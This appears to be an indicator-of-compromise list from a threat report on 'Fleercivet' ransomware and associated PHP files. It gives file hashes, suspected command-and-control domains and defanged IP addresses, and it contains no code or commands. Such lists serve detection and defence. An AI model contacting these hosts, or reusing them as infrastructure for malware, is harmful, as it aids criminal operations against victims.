5bb97e6104c9ad07c036b0d272ef1c35398df80819a29c13c81d34b0d97ca151

Index.php

eaed27690a84a533fae605ead2bc8f5c8ddb84a23d982c1008cfad7eba81e86c

828d7fa5bfbd68958befb560c981c6629e686ab1af629526f20c1b7c5bf8897c

help.php

dce27de4a77166f67a8876a1e7fb546a6d1613244daf95df591762e7787c7f44

new.php

070e812ea048edd26a071ab9f5b3c6b1de20aa3becc573f3362f363dc5a18c69

Fleercivet/Ransomware

e5cb9d5e688e31ea08c4c83be2dd4c15ae4e4cd05c03ddf5215d46fe91596f38

Ebeaaef3323331e7ea0e47eac6437dcf5548d9fd759943d2e5c1f3d1fb786167

Ec50acd126410250a7cf3124d414fbf5ffd280129659ac89d28a7e9db09862c6

F698f4f713e4db5c705e2ff57ed1e1a7aa288711abbf26a6117629cedc55fed7

02354c75a9a81303234b4fcb2d60911105796ba6c287a0919ffc2675cb899ec6

B3525033df83db1775cac63040cc8e5a763d5ac079bb86b0f5aca47b5bf4bb8d

25450885bb86fcda7b1f8d80b227351d0a7a23c28b83155e06eafa72b0638955

Dfc1f57077bb69bf67ceea87999e45ccc64eeecf5e08ca99fedad4fc42bab816

F188d41cd1736d2237b2a0406f72f10c59918b79bba61724d19ec3582236114e

699b6736324a961888721bb70e896f440523fcf70ce3f74cdc8cb37ff98c20a7

040427d522a1a1434f96895e6514884dc916b4fec385d25373366f33510de002

B862b96bb213d42ea29157faabbeaef714b7611c70d80799387c2ddabf751c93

B627823c75de90fc4f578f71dd0e8f8b18d7c7919fc9b26b6657c682c0eb607c

46de827b9dc7feac0043616d25b4eaea291b3f5735a1728383e1998198a85aad

28bda4bf96841c5734fc1dc9f7fe76724488a79cf177d3992c03eb88b8fdf36f

9606691fd1cb19fcc8ba2736dde49f94c09172f3d9b48963133f4809558be75d

C7151c5a1a27e4bedbf615005e747a6a05bf9c257eb9548c4894397779bf32d2

84802dd73c5c39199254a14944005bd4573480f0e18086d58b9960380ba37a0b

68c0f06255f6d28515b7a3b81e9444c36ea284d2edb29ee5ca93622f10d86cee

Dfe888cf3d5be1abd0185b285303934b7c8b679c5add995cc1799b04200c8c07

d2933f0a01a7572883af8e779cd156130189cfdb5c2224a68515436829099143

e2c8eb9907bdeeb12f8965be73883e25eaec19c89cf1feca1d6d1094587fe9e9

7bfb33a0b61d5a8db7b633ddd84e7ee264fc4489d5d88d0b71adf2f30e2a3f57

da4317f949b0f18418bbc8b4e7a407c46a2e7d5f0fca8bb5a8207b1235c4d3a0

a50c9f984f39407074f0c984dd028d4ea2cce48c0bb6836a5bc7b3ffefe0fdbf

1d544fb236e6d556477e2207a71121508f6654f3701387246fe8507a60d4e2f3

22226a250d81fc9e82b4e2b807d5afea64dfe82693bf53ed196f8929083642bd

f7b4b328ccd94627d7b9c249055274cc534342699e04e42ba6e8d645663db252

f2a680740a82c5f11bf4ed12a741eec74f17be66ab27f09c1b2fd682ef4b6094

4ec7edab4b02601a56aea26a138efb0eeeac17ae63de246dc64b364196917212

b1d3d0601caa63349e80e5d30e6d6d0cd697eeb61dfc87be73e1d40db0dfe390

5225120a277650c28c2ce1640c5b54aa29fbfc431d96f75dfa016fb9253463e7

d5a1c143b07475b367d2e12ff72fe5a3ec59c42fa11ae2d3eb2d4e76442e60b3

9f2f3a8156c10b6e0185ceb0b4da2a16ada79af54f072199e8cea42a09a873cd

77e363849b0bff79a1ad10630dc539e46c07f9f375f86030e92b58e0a779a6be

dca881295c30115e22995ac050fa85cc27a9605aac1846e3ae10e7a1279a2af1

Fc3b540ed642984aa11ba28d73691cf1b2e081045f3cd95bee023001c07c2c60

37ce74a40d6127fe4125a2579c661e3e93bc2ac7fe6cd151c11b6a909a47b865

1f3d7247e8cab2c31f27847c3cd15e2c2b616bf6cab37bb60f80797398106bd0

6dfa91567f95a339086a48e22e944a5db81cf593357affe24c1848f39b32c058

58d1136486fb9d7ec27f078a672b2e9e361361fd6fac56de38f4b0702380d1e7

9f6d0490bd3068e7b8d4d378c9de1ebaaeab7320572af8859b6434e8138476ba

4be0a8e8968f88dcf2d01e881f1996bbf1e246516a62e7e8df5250860df25a98

3b434fec3ba0b83963c02c9d3eb494b33352b05190b11ef5802d62abced4f9ff

B39dcc461afb0ab82674a2fcac545a4d9313375517a69298c1a7217025df1ad1

567058b1d6e3c6d54f453687bb88b061eaeebfbf903f3dfd19ea48f80470c7b8

732114325dea4c2aba8b913b836f640a530b69ec9db8cb09c0ea2e5d5d0b5833

39e915e9a38856d6fa8cccb74dbccb9826d6bb1283768fa35e91338810d057d8

1dbe1b4fad4fd325c3b49d45b86959269c99df5cbe2835ef9d15fffeb3997329

Aa15d105b4f9c7adf71579180aff88582adb5bbcdc7889ac7b66c1dc56654812

aea0d6f54d01a22f413809e96e39e7828151b500522af790ab403f8e315b67dd

Domains :

try.CIELA.CO

try.ucr.news

1gh.saveboston.today

stat-dns.com

33db9538.com

9507c4e8.com

e5b57288.com

54dfa1cb.com

32f988f6.com

E108dfcb.com

8b238dd6.com

10f89b8c.com

bbc.WEHBECONSTRUCTION.COM

con.PECHEMIGNON.CO

Admin.furstoutountzi.com

IPs:

92[.]53[.]120[.]142

92[.]53[.]127[.]86

31[.]184[.]193[.]179

195[.]161[.]62[.]33

References